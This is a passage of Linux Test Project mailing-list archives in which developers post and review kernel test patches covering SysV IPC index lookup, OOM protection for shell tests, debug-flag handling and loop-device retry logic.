>  semctl06: LTPLDLIBS = -lltpipc
> -semctl02 semctl03 semctl04 semctl05 semctl07 semctl08 semctl09: LTPLDLIBS = -lltpnewipc
> +semctl01 semctl02 semctl03 semctl04 semctl05 semctl07 semctl08 semctl09: LTPLDLIBS = -lltpnewipc
>  
>  include $(top_srcdir)/include/mk/generic_leaf_target.mk
> diff --git a/testcases/kernel/syscalls/semctl/semctl01.c b/testcases/kernel/syscalls/semctl/semctl01.c
> index 5bd675ab6..398cb3028 100644
> --- a/testcases/kernel/syscalls/semctl/semctl01.c
> +++ b/testcases/kernel/syscalls/semctl/semctl01.c
> @@ -210,13 +210,16 @@ static void func_rmid(void)
>  
>  static void func_iinfo(int hidx)
>  {
> -	if (hidx >= 0) {
> -		sem_index = hidx;
> -		tst_res(TPASS, "the highest index is correct");
> -	} else {
> -		sem_index = 0;
> -		tst_res(TFAIL, "the highest index is incorrect");
> -	}
> +	/*
> +	 * Return value is the highest used index. Our set is alive, so the
> +	 * highest used index must be at least our index.
> +	 */
> +	if (hidx >= sem_index)
> +		tst_res(TPASS, "IPC_INFO highest index %d >= our index %d",
> +			hidx, sem_index);
> +	else
> +		tst_res(TFAIL, "IPC_INFO highest index %d < our index %d",
> +			hidx, sem_index);
>  }
>  
>  static void func_sinfo(void)
> @@ -227,12 +230,54 @@ static void func_sinfo(void)
>  		tst_res(TPASS, "number of semaphore sets is correct");
>  }
>  
> -static void func_sstat(int semidx)
> +/*
> + * SEM_STAT fills buf the same way IPC_STAT does. sem_nsems and
> + * sem_perm.mode (set via IPC_SET earlier) verify SEM_STAT's own data,
> + * not just the id already used to find sem_index.
> + */
> +static void func_sstat(int semid)
>  {
> -	if (semidx >= 0)
> -		tst_res(TPASS, "id of the semaphore set is correct");
> +	if (semid != sem_id) {
> +		tst_res(TFAIL, "expected sem_id %d, got %d", sem_id, semid);
> +		return;
> +	}
> +
> +	if (buf.sem_nsems == PSEMS && buf.sem_perm.mode == (SEM_RA | NEWMODE))
> +		tst_res(TPASS, "id and semaphore STAT info are correct (id=%d)",
> +			sem_id);
>  	else
> -		tst_res(TFAIL, "id of the semaphore set is incorrect");
> +		tst_res(TFAIL, "nsems=%d (expected %d), mode=%o (expected %o)",
> +			(int)buf.sem_nsems, PSEMS,
> +			buf.sem_perm.mode, (SEM_RA | NEWMODE));
> +}
> +
> +/*
> + * SAFE_SEMCTL() would abort the test on per-index failures.
> + */
> +static int sem_stat(int idx, void *buf)
> +{
> +	union semun arg;
> +
> +	arg.buf = buf;
> +	return semctl(idx, 0, SEM_STAT, arg);
> +}
> +
> +/*
> + * SEM_STAT takes an index into the kernel's internal array, not a semid.
> + * Return the index that maps to this test's set.
> + */
> +static int get_sem_idx_from_id(int id)
> +{
> +	struct seminfo info;
> +	struct semid_ds dummy_ds;
> +	union semun arg;
> +	int max_idx;
> +
> +	arg.__buf = &info;
> +	/* SEM_INFO ignores semid; but SAFE_SEMCTL requires an lvalue */
> +	max_idx = SAFE_SEMCTL(id, 0, SEM_INFO, arg);
> +
> +	return get_ipc_idx_from_id(id, max_idx, sem_stat, &dummy_ds);
>  }
>  
>  static struct tcases {
> @@ -263,8 +308,15 @@ static void verify_semctl(unsigned int n)
>  	struct tcases *tc = &tests[n];
>  	int rval;
>  
> -	if (sem_id == -1)
> +	if (sem_id == -1) {
>  		sem_id = SAFE_SEMGET(IPC_PRIVATE, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA);
> +		sem_index = get_sem_idx_from_id(sem_id);
> +		if (sem_index < 0)
> +			tst_brk(TBROK,
> +				"Failed to get sem_id %d to idx mapping", sem_id);
> +		tst_res(TINFO, "sem_id=%d maps to kernel index=%d",
> +			sem_id, sem_index);
> +	}
>  	if (tc->func_setup) {
>  		switch (tc->cmd) {
>  		case GETNCNT:
> diff --git a/testcases/kernel/syscalls/shmctl/shmctl01.c b/testcases/kernel/syscalls/shmctl/shmctl01.c
> index 05aea58cc..bfc11fa39 100644
> --- a/testcases/kernel/syscalls/shmctl/shmctl01.c
> +++ b/testcases/kernel/syscalls/shmctl/shmctl01.c
> @@ -224,20 +224,20 @@ static void dummy_sighandler(int sig)
>  	(void)sig;
>  }
>  
> +static int shm_stat(int idx, void *buf)
> +{
> +	return shmctl(idx, SHM_STAT, buf);
> +}
> +
>  static int get_shm_idx_from_id(int shm_id)
>  {
>  	struct shm_info dummy;
>  	struct shmid_ds dummy_ds;
> -	int max_idx, i;
> +	int max_idx;
>  
>  	max_idx = SAFE_SHMCTL(shm_id, SHM_INFO, (void *)&dummy);
>  
> -	for (i = 0; i <= max_idx; i++) {
> -		if (shmctl(i, SHM_STAT, &dummy_ds) == shm_id)
> -			return i;
> -	}
> -
> -	return -1;
> +	return get_ipc_idx_from_id(shm_id, max_idx, shm_stat, &dummy_ds);
>  }
>  
>  static void setup(void)
> -- 
> 2.55.0
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp

And patch 2/2 for this?

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Tue Aug  4 15:10:58 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 13:10:58 +0000
Subject: [LTP] [PATCH v1 0/2] semctl01: fix SEM_STAT failures under
 parallel LTP runs
In-Reply-To: <20260730194953.274721-1-sbertram@redhat.com>
Message-ID: <6a71e4e3.1a08c196.24c557.03b6@mx.google.com>

Hi Stephen,

can you please send the correct patch versions?

Now we have a patch series with version v15 and an another with v1 with
two patches inside it. Both needs to split the headers from the tests
which are using them.

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Tue Aug  4 15:12:16 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 13:12:16 +0000
Subject: [LTP] Revert "tpci: unbind driver in test_assign_resources()"
In-Reply-To: <77cf7e28-c8a4-4017-9ca7-425739d7378f@gmail.com>
Message-ID: <6a71e530.159d33f9.a396c.0aff@mx.google.com>

Hi Tang,

> On 30/7/26 4:53 pm, Cyril Hrubis wrote:
> > Hi!
> >>> We recently confirmed this commit does cause a flood of I/O errors on
> >>> the root filesystem in our testing, leaving the machine unusable until
> >>> reboot.
> >>>
> >>> Given that, we'd appreciate the community helping to decide soon
> >>> whether the revert is warranted.
> >>
> >> Are you 100% sure that is caused by the patch you want to revert?
> >> Because the patch looked ok to me when I reviewed. We need to have
> >> more context and info around the issue which has been generated in
> >> order to avoid any workaround for a system/kernel bug.
> > 
> > AFAIK the testing module grabs first device available on the system and
> > uses it for testing. Which means that if you are unlucky it's your
> > network card, or disk controller and you force reload it on a live
> > system.
> > 
> > And honestly the PCI test should be either rewritten and cleaned up to
> > do something more sensible or just removed. As it is it's too fragile.
> > 
> 
> Thank you for your feedback. It is very helpful to us.
> 
> -- 
> Best Regards,
> Yi
> 

Are you going to work on a new patch? what we do with this one?

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From pvorel@suse.cz  Tue Aug  4 15:17:25 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Tue, 4 Aug 2026 15:17:25 +0200
Subject: [LTP] [PATCH v3] shell: enable OOM protection by default
In-Reply-To: <20260804-shell_oom_protection-v3-1-fe42b15d034c@suse.com>
References: <20260804-shell_oom_protection-v3-1-fe42b15d034c@suse.com>
Message-ID: <20260804131725.GE257786@pevik>

Hi Andrea,

> Add TST_OOM_PROTECTION to activate/deactivate OOM protection in shell
> tests. When enabled, the shell harness shields itself from the OOM
> killer and runs the test in a child process, so it survives memory
> pressure and can still report results (e.g. during memcg stress tests).

C API just enables OOM protection unconditionally. Why we allow to disable it?
Also, I would not allow to disable it until any test actually needs that.

> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> ---
> Under Li's idea, implement a OOM protection mechanism for the shell
Li would deserve his credit via Suggested-by: :). And it's not only for the
credit itself, but (maybe more important) when there is something later on
others know whom to ask for the details.

> tests so we can avoid OOM for memcg stress tests.
Ah, it's for memcg stress tests. Maybe people in the future appreciate to know
this, IMHO it should be part of the commit message.

> ---
> Changes in v3:
> - simplify oom code
> - enable OOM protection by default
> - Link to v2: https://lore.kernel.org/20260730-shell_oom_protection-v2-0-be1de2baa83d@suse.com

> Changes in v2:
> - update shell OOM protection functional test
> - Link to v1: https://lore.kernel.org/20260713-shell_oom_protection-v1-0-b732e8647894@suse.com
> ---
>  doc/developers/writing_tests.rst             |  3 +++
>  lib/newlib_tests/runtest.sh                  |  1 +
>  lib/newlib_tests/shell/tst_oom_protection.sh | 31 ++++++++++++++++++++++++
>  testcases/lib/tst_test.sh                    | 35 +++++++++++++++++++++++++++-
>  4 files changed, 69 insertions(+), 1 deletion(-)

> diff --git a/doc/developers/writing_tests.rst b/doc/developers/writing_tests.rst
> index 4db57898fcf08b83e68be996f666e91c418838fc..2d5bc294083fa2b89212714f0a6c5e5c3f22777a 100644
> --- a/doc/developers/writing_tests.rst
> +++ b/doc/developers/writing_tests.rst
> @@ -549,6 +549,9 @@ LTP C And Shell Test API Comparison
>      * - not applicable
>        - TST_FS_TYPE

> +    * - not applicable
> +      - TST_OOM_PROTECTION
If we really want to keep the variable, I'd for C part instead of "not
applicable" wrote:
_equivalent of OOM protection enabled in C API (tst_enable_oom_protection())_

And, more important, if we add new variable to tst_test.sh, IMHO it should be
documented in the only docs we have for it: doc/old/Shell-Test-API.asciidoc.

> diff --git a/lib/newlib_tests/runtest.sh b/lib/newlib_tests/runtest.sh
> index 71808ef8b8d5545f52d6014bc070145f952915e9..7e2d0a2ac329fc1d825c2fe0b6f7c09d4f2b0064 100755
> --- a/lib/newlib_tests/runtest.sh
> +++ b/lib/newlib_tests/runtest.sh
> @@ -44,6 +44,7 @@ shell/tst_check_driver.sh
>  shell/tst_check_kconfig0[1-5].sh
>  shell/tst_mount_device.sh
>  shell/tst_mount_device_tmpfs.sh
> +shell/tst_oom_protection.sh
+1

>  shell/tst_skip_filesystems.sh
>  shell/net/*.sh}"

> diff --git a/lib/newlib_tests/shell/tst_oom_protection.sh b/lib/newlib_tests/shell/tst_oom_protection.sh
> new file mode 100755
> index 0000000000000000000000000000000000000000..22993511c64845712e4fa9fc942e9869121d7e0b
> --- /dev/null
> +++ b/lib/newlib_tests/shell/tst_oom_protection.sh
> @@ -0,0 +1,31 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0-or-later
> +# Copyright (c) 2026 Linux Test Project
> +
> +TST_TESTFUNC=do_test
> +
> +read_oom_score_adj() {
> +	cat "/proc/$1/oom_score_adj" 2>/dev/null
Why this masking stderr? It should be always OK to read.

> +}
> +
> +do_test() {
> +	local harness_score child_score
> +
> +	harness_score=$(read_oom_score_adj "$$")
> +
> +	if [ "$harness_score" = -1000 ]; then
> +		tst_res TPASS "shell harness is protected from OOM by default"
> +
> +		child_score=$(tst_oom_unprotect read_oom_score_adj self)
> +		if [ "$child_score" = 0 ]; then
> +			tst_res TPASS "unprotected child process has oom_score_adj reset to 0"
> +		else
> +			tst_res TFAIL "unprotected child process oom_score_adj is $child_score, expected 0"
> +		fi
> +	else
> +		tst_res TCONF "shell harness OOM protection unavailable"
> +	fi
> +}
> +
> +. tst_test.sh
> +tst_run
> diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh
> index b3e7e29bbf7b52de4cb65665751005cb4df156a8..70fa19e4dadfdceb92821a02fbce7cf6686d9c4e 100644
> --- a/testcases/lib/tst_test.sh
> +++ b/testcases/lib/tst_test.sh
> @@ -15,6 +15,7 @@ export TST_CONF=0
>  export TST_COUNT=1
>  export TST_ITERATIONS=1
>  export TST_TMPDIR_RHOST=0
> +export TST_OOM_PROTECTION="${TST_OOM_PROTECTION:-1}"
>  export TST_LIB_LOADED=1

>  # see testcases/lib/tst_runas.c
> @@ -28,6 +29,34 @@ export TST_USR_GID="${LTP_USR_GID:-65534}"
>  trap "tst_brk TBROK 'test interrupted'" INT
>  trap "unset _tst_setup_timer_pid; tst_brk TBROK 'test terminated'" TERM

> +_tst_set_oom_score_adj()
> +{
> +	local value="$1"
> +	local path="/proc/self/oom_score_adj"
> +
> +	[ -e "$path" ] || return 0
If you don't reuse the return value you can use just "return"

Also, C API in set_oom_score_adj() warns:
tst_res(TINFO, "oom_score_adj does not exist, skipping the adjustment");

> +
> +	echo "$value" > "$path" 2>/dev/null || return 0

Do we want to hide "permission denied"? C API in set_oom_score_adj() uses
capability. If you want to really match the behavior with C API, you could
create C binary helper testcases/lib/tst_*.c which would just call
set_oom_score_adj(). But I'd be pragmatic, if the tests which needs it have
TST_NEEDS_ROOT=1 (and memcg_lib.sh sets it), you might just write shell code
which will behave similar like C code (except using capability, of course).

I would not hide "permission denied". At least similarly match C API in
set_oom_score_adj():

if ! echo "$value" > "$path"; then
	tst_res TWARN "Can't adjust score"
fi

I.e. no masking stderr), return is not used. And even if you want to use
function return value, $? will be taken from echo, e.g.:

$ echo foo > /asdf; echo $?
bash: /asdf: Permission denied
1

> +}
> +
> +_tst_enable_oom_protection()
> +{
> +	_tst_set_oom_score_adj -1000
> +}
> +
> +_tst_disable_oom_protection()
> +{
> +	_tst_set_oom_score_adj 0
> +}
> +
> +tst_oom_unprotect()
> +{
> +	_tst_disable_oom_protection
> +	if [ $# -gt 0 ]; then
> +		"$@"
Because there is only single use of tst_oom_unprotect(), I would call
"read_oom_score_adj self" here. More readable, more secure ("$@" is kind of
eval).

Kind regards,
Petr

From chrubis@suse.cz  Tue Aug  4 15:28:57 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue,  4 Aug 2026 15:28:57 +0200
Subject: [LTP] [PATCH] lib: tst_res(): Fix TDEBUG | TERRNO
Message-ID: <20260804132857.552304-1-chrubis@suse.cz>

Properly mask the ttype with TTYPE_MASK() when deciding if TDEBUG
messages should be printed, otherwise any combination of TERRNO etc.
flags is printed regardless the -D flag.

Signed-off-by: Cyril Hrubis <chrubis@suse.cz>
---
 lib/newlib_tests/tst_res_flags.c | 1 +
 lib/tst_test.c                   | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/lib/newlib_tests/tst_res_flags.c b/lib/newlib_tests/tst_res_flags.c
index cda097070..f4aaa0439 100644
--- a/lib/newlib_tests/tst_res_flags.c
+++ b/lib/newlib_tests/tst_res_flags.c
@@ -22,6 +22,7 @@ static struct tcase {
 	{FLAG(TWARN)},
 	{FLAG(TINFO)},
 	{FLAG(TDEBUG), " (printed only with -D[1,2] or LTP_DEBUG=1(y),2)"},
+	{FLAG(TDEBUG | TERRNO), " (printed only with -D[1,2] or LTP_DEBUG=1(y),2)"},
 };
 
 static void do_cleanup(void)
diff --git a/lib/tst_test.c b/lib/tst_test.c
index 5c3607016..9c5f2617f 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -495,7 +495,7 @@ void tst_res_(const char *file, const int lineno, int ttype,
 	 * 3. Debug output is only for test process (context->tdebug == 1).
 	 * 4. Debug output is enabled for both test and lib processes (context->tdebug == 2).
 	 */
-	if (ttype == TDEBUG) {
+	if (TTYPE_RESULT(ttype) == TDEBUG) {
 		if (!context)
 			return;
 
-- 
2.54.0


From andrea.cervesato@suse.com  Tue Aug  4 15:51:39 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 13:51:39 +0000
Subject: [LTP] [PATCH] lib: tst_res(): Fix TDEBUG | TERRNO
In-Reply-To: <20260804132857.552304-1-chrubis@suse.cz>
Message-ID: <6a71ee6c.3c943127.1c122.10f9@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From jstancek@redhat.com  Tue Aug  4 16:01:58 2026
From: jstancek@redhat.com (Jan Stancek)
Date: Tue, 4 Aug 2026 16:01:58 +0200
Subject: [LTP] [PATCH] lib: tst_res(): Fix TDEBUG | TERRNO
In-Reply-To: <20260804132857.552304-1-chrubis@suse.cz>
References: <20260804132857.552304-1-chrubis@suse.cz>
Message-ID: <CAASaF6zS3gX8YMcx+nXv2xTfx+NfSRnf-_s3fCC_F8CppCC6_Q@mail.gmail.com>

On Tue, Aug 4, 2026 at 3:29?PM Cyril Hrubis <chrubis@suse.cz> wrote:
>
> Properly mask the ttype with TTYPE_MASK() when deciding if TDEBUG
> messages should be printed, otherwise any combination of TERRNO etc.
> flags is printed regardless the -D flag.
>
> Signed-off-by: Cyril Hrubis <chrubis@suse.cz>

Acked-by: Jan Stancek <jstancek@redhat.com>

> ---
>  lib/newlib_tests/tst_res_flags.c | 1 +
>  lib/tst_test.c                   | 2 +-
>  2 files changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/lib/newlib_tests/tst_res_flags.c b/lib/newlib_tests/tst_res_flags.c
> index cda097070..f4aaa0439 100644
> --- a/lib/newlib_tests/tst_res_flags.c
> +++ b/lib/newlib_tests/tst_res_flags.c
> @@ -22,6 +22,7 @@ static struct tcase {
>         {FLAG(TWARN)},
>         {FLAG(TINFO)},
>         {FLAG(TDEBUG), " (printed only with -D[1,2] or LTP_DEBUG=1(y),2)"},
> +       {FLAG(TDEBUG | TERRNO), " (printed only with -D[1,2] or LTP_DEBUG=1(y),2)"},
>  };
>
>  static void do_cleanup(void)
> diff --git a/lib/tst_test.c b/lib/tst_test.c
> index 5c3607016..9c5f2617f 100644
> --- a/lib/tst_test.c
> +++ b/lib/tst_test.c
> @@ -495,7 +495,7 @@ void tst_res_(const char *file, const int lineno, int ttype,
>          * 3. Debug output is only for test process (context->tdebug == 1).
>          * 4. Debug output is enabled for both test and lib processes (context->tdebug == 2).
>          */
> -       if (ttype == TDEBUG) {
> +       if (TTYPE_RESULT(ttype) == TDEBUG) {
>                 if (!context)
>                         return;
>
> --
> 2.54.0
>
>
> --
> Mailing list info: https://lists.linux.it/listinfo/ltp
>


From andrea.cervesato@suse.com  Tue Aug  4 16:06:02 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Tue, 04 Aug 2026 14:06:02 +0000
Subject: [LTP] [PATCH] tst_kconfig: Don't consider
 CONFIG_FAULT_INJECTION slow
In-Reply-To: <20260317225124.GA371512@pevik>
Message-ID: <6a71f1cb.87c5160c.6fd18.8323@mx.google.com>

Hi Petr,

sorry for the delay.

> 
> Do you mean to look if /sys/kernel/debug/fail*/verbose exist and contain 2?
> 
> https://origin.kernel.org/doc/html/latest/fault-injection/fault-injection.html#configure-fault-injection-capabilities-behavior

Yes, that was my idea

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From wakel@google.com  Tue Aug  4 17:24:50 2026
From: wakel@google.com (Wake Liu)
Date: Tue,  4 Aug 2026 15:24:50 +0000
Subject: [LTP] [PATCH v3] lib: Use backoff polling to wait for loop device
 nodes
In-Reply-To: <anFjaQ--3q38-psW@linux.dev>
References: <anFjaQ--3q38-psW@linux.dev>
Message-ID: <20260804152450.921218-1-wakel@google.com>

On systems where loop device node creation is asynchronous (such as Android
containers or systems with slow udev startup), calling stat() or open()
immediately after LOOP_CTL_GET_FREE can transiently fail because the
device file (e.g. /dev/loopX) has not been fully populated in time.

Introduce an exponential-backoff retry loop in both
tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
doubling each try, capped at 100ms) to wait for the device node to be
successfully populated.

This improves the robustness of loop device allocations on asynchronous
virtualized environments while minimizing unnecessary delays on responsive
systems.

Link: https://lore.kernel.org/ltp/20260803152754.3991113-1-wakel@google.com/
Signed-off-by: Wake Liu <wakel@google.com>
---
v2 -> v3:
 - Reuse LTP native TST_RETRY_FN_EXP_BACKOFF() macro in tst_common.h to simplify code.

v1 -> v2:
 - Strictly clamp backoff delay to 100ms (prevent overflow exceeding cap).
 - Skip usleep on final loop iteration to avoid unnecessary idle delay.
 - Reduce max attempts to 30 (stat) and 15 (open) to bound worst-case timeout.

 lib/tst_device.c | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/lib/tst_device.c b/lib/tst_device.c
index d3c53a1a1..a3c0992e0 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -82,7 +82,7 @@ static int set_dev_path(char *dev, char *path, size_t path_len)
 
 int tst_find_free_loopdev(char *path, size_t path_len)
 {
-	int ctl_fd, dev_fd, rc, i;
+	int ctl_fd, dev_fd, rc, i, path_set;
 	struct loop_info loopinfo;
 	char buf[PATH_MAX];
 
@@ -93,8 +93,13 @@ int tst_find_free_loopdev(char *path, size_t path_len)
 		rc = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
 		close(ctl_fd);
 		if (rc >= 0) {
-			if (path && set_dev_loop_path(rc, path, path_len))
-				tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			if (path) {
+				path_set = TST_RETRY_FN_EXP_BACKOFF(
+					set_dev_loop_path(rc, path, path_len),
+					TST_RETVAL_EQ0, 1);
+				if (path_set)
+					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			}
 			tst_resm(TINFO, "Found free device %d '%s'",
 				rc, path ?: "");
 			return rc;
@@ -156,7 +161,7 @@ int tst_attach_device(const char *dev, const char *file)
 	int dev_fd, file_fd;
 	struct loop_info loopinfo;
 
-	dev_fd = open(dev, O_RDWR);
+	dev_fd = TST_RETRY_FN_EXP_BACKOFF(open(dev, O_RDWR), TST_RETVAL_GE0, 1);
 	if (dev_fd < 0) {
 		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", dev);
 		return 1;
-- 
2.55.0.571.g244d577d93-goog


From chrubis@suse.cz  Tue Aug  4 17:39:54 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue, 4 Aug 2026 17:39:54 +0200
Subject: [LTP] [PATCH v3] metadata: add linter for JSON file
In-Reply-To: <6a71d6e6.b251136a.ad181.4a5b@mx.google.com>
References: <anHU21C6px2vFMyD@yuki.lan>
 <6a71d6e6.b251136a.ad181.4a5b@mx.google.com>
Message-ID: <anIHyrKVvOVas7oE@yuki.lan>

Hi!
> what the -t should do? at the moment lint.py already supports stdin

Skip the part that looks up the testcases array in the ltp.json and
loops over them.

-- 
Cyril Hrubis
chrubis@suse.cz

From linuxtestproject.agent@gmail.com  Tue Aug  4 18:13:25 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Tue,  4 Aug 2026 16:13:25 +0000
Subject: [LTP] lib: tst_res(): Fix TDEBUG | TERRNO
In-Reply-To: <20260804132857.552304-1-chrubis@suse.cz>
References: <20260804132857.552304-1-chrubis@suse.cz>
Message-ID: <20260804161325.8435-1-linuxtestproject.agent@gmail.com>

Hi Cyril,

On Tue, 4 Aug 2026, Cyril Hrubis wrote:
> lib: tst_res(): Fix TDEBUG | TERRNO

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From chrubis@suse.cz  Tue Aug  4 18:14:49 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Tue, 4 Aug 2026 18:14:49 +0200
Subject: [LTP] [PATCH] hugemmap/hugemmap37: migrated task-size-overrun.c
 from libhugetlbfs
In-Reply-To: <20260717112629.1077734-1-pavrampu@linux.ibm.com>
References: <20260717112629.1077734-1-pavrampu@linux.ibm.com>
Message-ID: <anIP-a1bkmht2jKm@yuki.lan>

Hi!
Pushed with following diff, thanks.

Changes:

- use TDEBUG for the verbose messages
- use TST_EXP_* macros, on Linux mmap() without MAP_FIXED ignores the
  address hint and always succeeds
- moved the code that locates task_size into the test setup() so that
  it's called exactly once on test with -i 10

diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap37.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap37.c
index c15b4ad33..addd717e3 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap37.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap37.c
@@ -34,6 +34,7 @@
 #define MNTPOINT "hugetlbfs/"
 
 static long hpage_size;
+static unsigned long task_size;
 static int fd = -1;
 
 static unsigned long find_last_mapped(void)
@@ -100,10 +101,10 @@ static unsigned long find_task_size(void)
 		p = mmap((void *)addr, page_size, PROT_READ,
 			   MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
 		if (p == MAP_FAILED) {
-			tst_res(TINFO | TERRNO, "Map failed at 0x%lx", addr);
+			tst_res(TDEBUG | TERRNO, "Map failed at 0x%lx", addr);
 			high = pfn;
 		} else {
-			tst_res(TINFO, "Map succeeded at 0x%lx", addr);
+			tst_res(TDEBUG, "Map succeeded at 0x%lx", addr);
 			SAFE_MUNMAP(p, page_size);
 			low = pfn;
 		}
@@ -114,45 +115,35 @@ static unsigned long find_task_size(void)
 
 static void run_test(void)
 {
-	void *p;
-	unsigned long task_size;
 	unsigned long straddle_addr;
 
-	task_size = find_task_size();
-	tst_res(TINFO, "TASK_SIZE = 0x%lx", task_size);
-
 	straddle_addr = task_size - hpage_size;
 	straddle_addr = LTP_ALIGN(straddle_addr, hpage_size);
 
 	tst_res(TINFO, "Mapping without MAP_FIXED at %lx...", straddle_addr);
-	errno = 0;
-	p = mmap((void *)straddle_addr, 2*hpage_size, PROT_READ|PROT_WRITE,
-		 MAP_SHARED, fd, 0);
-	if (p == (void *)straddle_addr) {
-		tst_res(TFAIL, "Apparently succeeded in mapping across TASK_SIZE boundary");
-		SAFE_MUNMAP(p, 2*hpage_size);
-	} else if (p != MAP_FAILED) {
-		tst_res(TPASS, "mmap without MAP_FIXED correctly avoided TASK_SIZE boundary");
-		SAFE_MUNMAP(p, 2*hpage_size);
-	} else {
-		tst_res(TPASS, "mmap without MAP_FIXED correctly failed");
-	}
+
+	TST_EXP_PASS_PTR_VOID(mmap((void *)straddle_addr, 2*hpage_size,
+	                      PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0));
+
+	if (TST_RET_PTR != MAP_FAILED)
+		SAFE_MUNMAP(TST_RET_PTR, 2*hpage_size);
 
 	tst_res(TINFO, "Mapping with MAP_FIXED at %lx...", straddle_addr);
-	errno = 0;
-	p = mmap((void *)straddle_addr, 2*hpage_size, PROT_READ|PROT_WRITE,
-		 MAP_SHARED|MAP_FIXED, fd, 0);
-	if (p != MAP_FAILED) {
-		tst_res(TFAIL, "Apparently succeeded in mapping across TASK_SIZE boundary");
-		SAFE_MUNMAP(p, 2*hpage_size);
-	} else {
-		tst_res(TPASS, "mmap with MAP_FIXED correctly failed");
-	}
+
+	TST_EXP_FAIL_PTR_VOID(mmap((void *)straddle_addr, 2*hpage_size,
+	                      PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fd, 0), ENOMEM);
+
+	if (TST_RET_PTR != MAP_FAILED)
+		SAFE_MUNMAP(TST_RET_PTR, 2*hpage_size);
 }
 
 static void setup(void)
 {
 	hpage_size = tst_get_hugepage_size();
+
+	task_size = find_task_size();
+	tst_res(TINFO, "TASK_SIZE = 0x%lx", task_size);
+
 	fd = tst_creat_unlinked(MNTPOINT, 0, 0600);
 }
 



-- 
Cyril Hrubis
chrubis@suse.cz

From li.wang@linux.dev  Wed Aug  5 04:24:05 2026
From: li.wang@linux.dev (Li Wang)
Date: Wed, 5 Aug 2026 10:24:05 +0800
Subject: [LTP] [PATCH v3] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <20260804152450.921218-1-wakel@google.com>
References: <anFjaQ--3q38-psW@linux.dev>
 <20260804152450.921218-1-wakel@google.com>
Message-ID: <anKexVXAkhsMGpZy@linux.dev>

Hi Wake,

v3 looks good overall, but it needs a rebase onto the latest LTP
HEAD, otherwise it doesn't apply cleanly here.

-- 
Regards,
Li Wang

From li.wang@linux.dev  Wed Aug  5 04:44:46 2026
From: li.wang@linux.dev (Li Wang)
Date: Wed, 5 Aug 2026 10:44:46 +0800
Subject: [LTP] [PATCH] lib: tst_res(): Fix TDEBUG | TERRNO
In-Reply-To: <20260804132857.552304-1-chrubis@suse.cz>
References: <20260804132857.552304-1-chrubis@suse.cz>
Message-ID: <anKjnh5bpOIltGde@linux.dev>

Reviewed-by: Li Wang <li.wang@linux.dev>

-- 
Regards,
Li Wang

From wakel@google.com  Wed Aug  5 04:54:18 2026
From: wakel@google.com (Wake Liu)
Date: Wed,  5 Aug 2026 02:54:18 +0000
Subject: [LTP] [PATCH v4] lib: Use backoff polling to wait for loop device
 nodes
In-Reply-To: <anKexVXAkhsMGpZy@linux.dev>
References: <anKexVXAkhsMGpZy@linux.dev>
Message-ID: <20260805025418.1249003-1-wakel@google.com>

On systems where loop device node creation is asynchronous (such as Android
containers or systems with slow udev startup), calling stat() or open()
immediately after LOOP_CTL_GET_FREE can transiently fail because the
device file (e.g. /dev/loopX) has not been fully populated in time.

Introduce an exponential-backoff retry loop in both
tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
doubling each try, capped at 100ms) to wait for the device node to be
successfully populated.

This improves the robustness of loop device allocations on asynchronous
virtualized environments while minimizing unnecessary delays on responsive
systems.

Signed-off-by: Wake Liu <wakel@google.com>
---
v3 -> v4:
 - Rebase onto the latest LTP HEAD.
 - Remove self-referencing Link in commit message.

v2 -> v3:
 - Reuse LTP native TST_RETRY_FN_EXP_BACKOFF() macro in tst_common.h to simplify code.

v1 -> v2:
 - Strictly clamp backoff delay to 100ms (prevent overflow exceeding cap).
 - Skip usleep on final loop iteration to avoid unnecessary idle delay.
 - Reduce max attempts to 30 (stat) and 15 (open) to bound worst-case timeout.

 lib/tst_device.c | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

